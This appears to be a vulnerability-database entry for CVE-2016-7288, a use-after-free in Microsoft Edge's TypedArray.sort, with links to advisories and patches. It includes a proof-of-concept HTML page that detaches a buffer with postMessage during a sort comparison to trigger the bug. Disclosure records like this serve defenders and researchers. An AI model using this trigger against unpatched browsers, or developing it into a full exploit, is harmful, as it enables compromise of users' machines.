Microsoft Edge: Use-after-free in TypedArray.sort（CVE-2016-7288）

🗓️ 19 Apr 2017 00:00:00Reported by RootType

Microsoft Edge use-after-free in TypedArray.sort (CVE-2016-7288). Detached TypedArray causes buffer swap after function free

Reporter	Title	Published	Views	Family All 21
0day.today	Microsoft Edge - TypedArray.sort Use-After-Free (MS16-145) Exploit	14 Feb 201700:00	–	zdt
Circl	CVE-2016-7288	14 Feb 201700:00	–	circl
CNVD	Microsoft Edge Memory Corruption Vulnerability (CNVD-2016-12453)	14 Dec 201600:00	–	cnvd
Check Point Advisories	Microsoft Edge Use After Free (MS16-145: CVE-2016-7288)	13 Dec 201600:00	–	checkpoint_advisories
CVE	CVE-2016-7288	20 Dec 201605:54	–	cve
Cvelist	CVE-2016-7288	20 Dec 201605:54	–	cvelist
Microsoft KB	MS16-145: Cumulative security update for Microsoft Edge: December 13, 2016	13 Dec 201600:00	–	mskb
Microsoft KB	December 13, 2016 — KB3205383 (OS Build 10240.17202)	13 Dec 201608:00	–	mskb
Microsoft KB	December 13, 2016 — KB3205386 (OS Build 10586.713)	13 Dec 201608:00	–	mskb
Microsoft KB	December 13, 2016 — KB3206632 (OS Build 14393.576)	13 Dec 201608:00	–	mskb


                                                <html><body><script>

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;


function v(){
  alert("in v");
  if( first == 0){
	   postMessage("test", "http://127.0.0.1", [buf])
	first++;
	}
   return 7;

}

function compareNumbers(a, b) {
  alert("in func");

  return {valueOf : v};
}

try{
	numbers.sort(compareNumbers);
}catch(e){

	alert(e.message);

}
</script></body></html>

19 Apr 2017 00:00Current

7.8High risk

Vulners AI Score7.8

EPSS0.79309